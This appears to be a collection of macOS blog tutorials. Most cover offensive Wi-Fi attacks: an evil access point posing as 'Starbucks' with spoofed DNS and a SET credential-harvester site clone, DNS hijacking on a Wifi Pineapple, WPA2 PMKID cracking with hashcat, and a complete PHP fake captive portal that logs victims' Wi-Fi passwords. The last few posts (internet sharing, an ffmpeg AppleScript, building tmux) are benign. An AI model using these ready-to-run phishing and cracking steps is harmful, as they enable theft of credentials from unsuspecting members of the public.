Evil access point on macOS

With just a few steps it is possible to convert the MacBook into an evil access point. The device already has everything that is necessary in terms of hardware. For the additionally software only an Internet access is is required.

Note: The installation and configuration of Kali Linux VM (inside VirtualBox) is not part of this tutorial.

Objectives

Turn the macOS into wifi hotspot with fake DNS.

Starting position

Via cable (USB-C to Lightning) my MacBook and my IPhone are connected. On the IPhone the Hotspot (USB tethering) is enabled. The Wifi devices is off. Finally there is a Kali Linux VM and SSH access is configured in it.

Step 1: check current local config

Most of the following commands in the first step are optional, only your own IP is important. But this will give you a better understanding of your system.

# show local ip
$ ifconfig en7
[172.20.10.2]

# show system DNS configuration (optional)
$ scutil --dns | grep nameserver

# show network status (optional)
$ netstat -na | grep "\.53"

My interface is en7 and my local IP is 172.20.10.2. For you this can be different! The IPhone is my nameserver 172.20.10.1 (results of scutil) and no service is listen on port 53 (results of netstat).

Step 2: start Kali Linux and clone website

As already mentioned, we are now using the Kali Linux VM. The only important point for VM configuration is that the interface is mode “Bridged Network“.

# list all vm's
$ VBoxManage list vms

# start headless specific vm
$ VBoxManage startvm --type headless "KaliLinux"

# show running vm's (optional)
$ VBoxManage list runningvms

# get IP of vm
$ VBoxManage guestproperty get "KaliLinux" "/VirtualBox/GuestInfo/Net/0/V4/IP"
[172.20.10.3]

# SSH into VM
$ ssh <user>@172.20.10.3

Inside the Kali Linux we use The Social-Engineer Toolkit (SET) to clone quickly a website.

# start setoolkit
$ sudo setoolkit

# select Social-Engineering Attacks
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About

set> 1

# select Website Attack Vectors
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules

set> 2

# select Credential Harvester Attack Method
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

set:webattack> 3

# select Site Cloner
1) Web Templates
2) Site Cloner
3) Custom Import

set:webattack> 2

After the inputs for IP (IP of VM) and domain (URL to clone) you should use an other tab (CMD + t) on your terminal. You can check the cloning result in your browser.

Step 3: clone, build, and run dnsmasq

Now dnsmasq is needed. You can install via brew or download and compile by your self.

# clone latest git repository
$ git clone git://thekelleys.org.uk/dnsmasq.git

# change into cloned directory
$ cd dnsmasq

# build dnsmasq binary
$ make

# show help for dnsmasq
$ sudo ./src/dnsmasq --help

# run dnsmasq
$ sudo ./src/dnsmasq --no-dhcp-interface= --no-daemon --log-queries --no-hosts --no-resolv --no-poll --server=8.8.8.8 --address="/example.com/172.20.10.3"

Dnsmasq runs without DHCP service, without reading /etc/hosts and /etc/resolv.conf. Google IP is given for upstream DNS server.

Step 4: test your DNS

And again you should use an other tab (CMD + t) on your terminal. Now you can verify the dnsmasq configuration.

# flush local DNS
$ sudo killall -HUP mDNSResponder

# dig on local IP
$ dig @172.20.10.2 +short example.com

# dig on localhost
$ dig @localhost +all example.com

# nslookup on local
$ nslookup login.example.com 172.20.10.2

Step 5: create access point

Set the DNS server for the Wi-Fi service and then start the hotspot.

# set DNS server
$ networksetup -setdnsservers Wi-Fi 172.20.10.2

My favorite SSID: Starbucks

macOS hotspot Starbucks

Now it’s time to wait… In the meantime, you can find out more about your connected STA’s.

# show STA informations (optional)
$ cat /private/var/db/dhcpd_leases

DNS Hijacking with Wifi Pineapple

If you tried out modules like DNSspoof or DNSMasqSpoof on your Wifi Pineapple and had no success, then this tutorial will help you now. I will try my best to show you here a simple (and working) solution. The way differs to other tutorials on internet but should enable you to progress in your daily hacking work.

Objectives

In this example you will learn the basics about DNS Hijacking on Wifi Pineapple (without any additional modules).

Precondition

The ready configured internet share to Wifi Pineapple like in this tutorial, as well a 2nd device (or Virtual Machine) and a running FakeAP (where we later connect).

Step 1: prepare local PHP file and start PHP build-in server

To keep it simple, create the fake target site (incl. server) on your local device. This saves ressources on Wifi Pineapple device and will help more to understand this hole topic.

# create local project
$ mkdir -p ~/Projects/LandingPage

# change into project directory
$ cd ~/Projects/LandingPage

# create index.php file
$ vi ~/Projects/LandingPage/index.php

# start simple PHP server
$ php -S 0.0.0.0:80 index.php

# verify inside local browser (optional)
$ open http://172.16.42.42/

Content of very simple PHP file

<?php
header('Content-Type: text/html; charset=UTF-8');
echo 'hello spoofed DNS victim';

If you understand how all works, have a look on setoolkit.

Step 2: change hosts file and flush DNS

The DNS redirection (example.com to local running server) on the Wifi Pineapple is very easy. Just connect with SSH, modify the hosts file and flush the DNS cache.

# ssh into Wifi Pineapple
$ ssh -C4 root@172.16.42.1

# edit hosts file
$ vi /etc/hosts

# clear DNS cache
$ killall dnsmasq && /etc/init.d/dnsmasq start

# verify (optional)
$ nslookup example.com

# download website (optional)
$ wget example.com -O /tmp/index.html

# view file content (optional)
$ cat /tmp/index.html

The /etc/hosts file after modify it (2nd line).

127.0.0.1 localhost
172.16.42.42 example.com

::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

However, since there are strong restrictions with this type (for example wildcards are not possible), you should use the DNSMasq configuration “addn-hosts” later. But for now it’s fine.

Step 3: flush DNS and connect to Wifi

Now you can flush the DNS on your device or vm (STA) load the page (example.com). If everything works perfectly you should see now the following content in your browser.

Fake response:

Content for spoofed DNS

Real response:

Response for not spoofed DNS

Share internet from macOS to Wifi Pineapple (Part 2)

Some weeks ago I wrote the first part about Internet Sharing. There we changed the network configuration on the Wifi Pineapple itself. This time we tweak the network configuration (NAT subnet configurations) so that we can use internet sharing on macOS inside “172.16.42.x” network.

Objectives

Configure Internet Sharing without changing the default settings on Wifi Pineapple (but change defaults on macOS).

Step 1: Prepare for next steps

If you have “Internet Sharing” enabled, now you must switch it off!

Turn on the Wifi Pineapple device and connect via USB (A plug for NANO, ETH plug for TETRA) to your Mac. If everything works fine, following commands should run successful.

# ping device (optional)
$ ping -c 1 172.16.42.1

# show wifi pineapple network settings (optional)
$ ssh root@172.16.42.1 -C 'uci show network'

# start browser session (optional)
$ open http://172.16.42.1:1471

Step 2: Configure default subnet

The property list (com.apple.nat.plist) is like a contract between the “Sharing preferences pane” and “InternetSharing”. One important property to set there is “SharingNetworkNumberStart” (all other properties, which follow in this tutorial, are optional). This property controls the behavior of InternetSharing when it configures IP addresses for the local interfaces. I choose value 172.16.42.10.

# read the property list (optional)
$ defaults read /Library/Preferences/SystemConfiguration/com.apple.nat.plist

# create backup of the property list file (optional)
$ sudo cp /Library/Preferences/SystemConfiguration/com.apple.nat.plist /Library/Preferences/SystemConfiguration/com.apple.nat.plist.bak

# add start IP
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.nat NAT -dict-add SharingNetworkNumberStart 172.16.42.10

# add end IP (optional)
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.nat NAT -dict-add SharingNetworkNumberEnd 172.16.42.100

# add network mask (optional)
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.nat NAT -dict-add SharingNetworkMask 255.255.255.0

Step 3: Network configuration

We will deal with 2 interfaces locally (enX and bridge100). Now we configure the “enX” IP first. We do this simply via “Network preferences”. Depending to your Wifi Pineapple device you should see following services:

  • NANO: AX88x72A
  • TETRA: USB 10/100 LAN

Select the service and configure like in picture.

macOS - Wifi Pineapple IP configuration

Now change the network service order.

macOS - Wifi Pineapple network service order

After saving, we quickly check everything.

# check interface (in my case it's en5)
$ ifconfig en5                
...
inet 172.16.42.10 netmask 0xffffff00 broadcast 172.16.42.255

# ping from wifi pineapple (should not work yet)
$ ssh root@172.16.42.1 -C 'ping -c 1 google.com'
...
ping: sendto: Network unreachable

# check for interface (should not exist)
$ ifconfig bridge100
...
ifconfig: interface bridge100 does not exist

Step 4: Start Internet Sharing

Inside “System Preferences”, click “Sharing”, then select “Internet Sharing”. Configure as in picture.

macOS - Wifi Pineapple internet share

Step 5: Set bridge100 interface IP

Back to the terminal, here the interface “bridge100” should be visible now. This interface we assign the IP 172.16.42.42.

# show interface information (optional)
$ ifconfig bridge100

# add IP to bridge100 interface
$ sudo ifconfig bridge100 172.16.42.42 netmask 255.255.255.0 up

That’s it already! Via “Bulletins” you can verify.

Wifi Pineapple Dashboard

BTW … Take a look at the following local files, with and without Internet sharing!

# read config file for DHCP
$ defaults read /etc/bootpd.plist

# read internet share config (optional)
$ defaults read /System/Library/LaunchDaemons/com.apple.NetworkSharing.plist

Crack WPA2 with PMKID on macOS

With very little effort and a few tools, you can crack WPA2 WiFi passwords on your macOS. This tutorial will show you how to do it. Bettercap, hcxpcaptool (via Docker) and hashcat are used for this. Please note that these instructions are only used for learning purposes!

Precondition

Bettercap

To install Bettercap on macOS you need first to install libusb. Therefor download latest version of libusb and follow next steps (after unzip).

# change directory
$ cd ~/Downloads/libusb-1.0.23

# execute configure script
$ ./configure

# build the binary
$ make

# install binary
$ make install

# change directory & delete
$ cd ~ && rm -fr ~/Downloads/libusb-1.0.23

Now download Bettercap precompiled binary, extract the ZIP and follow the next steps.

# move binary
$ sudo mv ~/Downloads/bettercap_darwin_amd64_v2.27.1/bettercap /usr/local/bin

# change permissions
$ sudo chmod +x /usr/local/bin/bettercap

# running bettercap updates
$ sudo bettercap -eval "caplets.update; ui.update; q"

# start bettercap with UI caplet
$ sudo bettercap -caplet http-ui

Note: In this guide we don’t change the default credentials (user,pass). You can do on file “/usr/local/share/bettercap/caplets/http-ui.cap”!

Open the Browser (http://127.0.0.1:80), login and start Wifi discovery (wifi.recon on). Send some association requests to the selected BSSID (wifi.assoc BSSID). In your home folder you should find the file “bettercap-wifi-handshakes.pcap”.

Bettercap web UI associate with BSSID

Finish your Bettercap session when you are done.

Wireshark

Optional you can use Wireshark to verify, if you recorded the PMKID on Robust Secure Network (RSN). Start Wireshark, open the file “bettercap-wifi-handshakes.pcap”, add the filter “eapol && wlan.rsn.ie.pmkid” and search the PMKID(s).

Wireshark RSN PMKID

hcxpcaptool

Now you need to convert (extract) the PMKID(s) from the Bettercap pcap file. For this you need the “hcxdumptool” from ZeraBea. Because OpenSSL is needed (and I don’t want to install it), I created a small Alpine Docker image (Dockerfile). You can follow next steps for usage.

# pull the image
$ docker pull slorenz/hcxpcaptool

# create directories
$ mkdir -p ~/Projects/PMKID/cap

# change directory
$ cd ~/Projects/PMKID/

# copy pcap into cap directory
$ cp ~/bettercap-wifi-handshakes.pcap ~/Projects/PMKID/cap/

# run container
$ docker run -ti --rm --mount src="$(pwd)/cap",target=/hcxpcaptool,type=bind slorenz/hcxpcaptool bettercap-wifi-handshakes.pcap

# show content (optional)
$ cat cap/pmkid.16800

Note: The columns (of pmkid.16800 content) are divided by * into following:

  • PMKID
  • MAC AP
  • MAC Station
  • ESSID

If you have not four columns, you need to repeat all previous steps for recording and convert!

hashcat

That was actually the easy part. Now we use Hashcat to crack the WPA2 passwords. The “only” challenge is the password length and the characters used. The next steps will guide you:

# create directory
$ mkdir -p ~/Projects

# change directory
$ cd ~/Projects

# clone git repository of hashcat
$ git clone https://github.com/hashcat/hashcat.git

# build binary
$ make -C hashcat/

# install binary
$ sudo make install -C hashcat/

# delete cloned repository (optional)
$ rm -fr ~/Projects/hashcat

# show hashcat help (optional)
$ hashcat -h

# run benchmark (optional)
$ hashcat -b

# execute hashcat
$ hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

That’s it … have fun and success!

Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).

Objectives

Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.

Precondition

To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000
<?php
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';
}

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

Fake captive portal from Pineapple

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.

Objectives

I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@172.16.42.1

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr='192.168.2.10'

# change gateway with UCI configuration tool
$ uci set network.lan.gateway='192.168.2.1'

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway 192.168.2.1). To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

set service order

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

share internet from Wifi to USB

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@192.168.2.10

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open http://192.168.2.10:1471

Note: The Browser URL is now http://192.168.2.10:1471 (network.lan.ipaddr 192.168.2.10)!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.

M3U8 download app for MacOS

Usually I work via Terminal but sometimes I don’t remember all parameters of a binary and search for such takes time. Same issue I had for ffmpeg downloads of M3U8 files. So I created a small apple script (for some dialogs) and saved this as very simple application. I use it regulary now and after all I thought to share here.

Preparation

A little preparation is needed, if you have ffmpeg binary allready installed you can skip to next section. So download the ffmpeg binary as an archive from https://www.ffmpeg.org/, unzip and follow next commands. In my example the binary was unzipped into folder “Downloads”.

# move ffmpeg binary
$ mv ~/Downloads/ffmpeg /usr/local/bin/ffmpeg

# set permissions
$ chmod +x /usr/local/bin/ffmpeg

# check version (optional)
$ ffmpeg -version

Apple Script

Open the Scripteditor and copy/paste the following script there.

#!/usr/bin/osascript

global theURL
global theOutputFolder
global theOutputFileName

on SetURL()
  set theTitle to "Video URL"

  try
    set theURLDialog to display dialog "What's the file URL?" default answer "" with title theTitle buttons {"Continue"}
    set theURL to text returned of theURLDialog
  on error
    quit
  end try

  if theURL as string is equal to "" then
    quit
  end if
end SetURL

on SetOutputFolder()
  try
    set theOutputFolder to choose folder with prompt "In what folder you will save the file?"
  on error
    quit
  end try
end SetOutputFolder

on SetOutputFileName()
  set theTitle to "File Name"

  try
    set theOutputFileNameDialog to display dialog "What's your target file name?" default answer "" with title theTitle buttons {"Continue"}
    set theOutputFileName to text returned of theOutputFileNameDialog
  on error
    quit
  end try

  if theOutputFileName as string is equal to "" then
    quit
  end if
end SetOutputFileName

on RunTerminal()
  set theTargetPath to POSIX path of theOutputFolder & theOutputFileName
  set theCommand to "ffmpeg -i " & theURL & " -c copy -bsf:a aac_adtstoasc " & theTargetPath

  tell application "Terminal"
    activate
    do script with command theCommand in window 1
  end tell
end RunTerminal

on quit
  display dialog "Thanks for trying this!" buttons {"Continue"}
  continue quit
end quit

on run
  SetURL()
  SetOutputFolder()
  SetOutputFileName()

  RunTerminal()
end run

Export

Now you can “save” or “export” the script as “app”.

Save/Export applescript as application
Save/Export AppleScript as app

If you don’t like the icon, you can change it. Download from the source of you choose an “.icns” file. Select the app and hit “Command + i” keys. Now drag the icon over the original icon and close info window. Ready … move it into Applications folder and use it.

Install tmux on macOS without Homebrew

Many people (including me) don’t want to use Homebrew. But if you search online for “How to install tmux on macOS” you will found mostly Homebrew descriptions. So here now the very easy solution without.

Requirements

In case that Command Line Tools are not installed, execute following command and follow the installation steps in new popup window. This process can take some time, so be patient.

# install Command Line Tools
$ xcode-select --install

# verify installation (optional)
$ ls /Library/Developer/CommandLineTools/usr/bin/

Installation

To execute next steps you need to download and unzip two release tarballs. Here you will found latest version of libevent and tmux (ncurses is already installed on macOS).

# change into unzipped libevent directory
$ cd Downloads/libevent-2.1.11-stable/

# check dependencies
$ ./configure

# build package
$ make

# install package
$ sudo make install

# change into unzipped tmux directory
$ cd Downloads/tmux-3.0a/

# check dependencies
$ ./configure

# build package
$ make

# install package
$ sudo make install

# show tmux version (optional)
$ tmux -V

That’s it already. If you’re new to tmux you should have a look on this Cheat Sheet.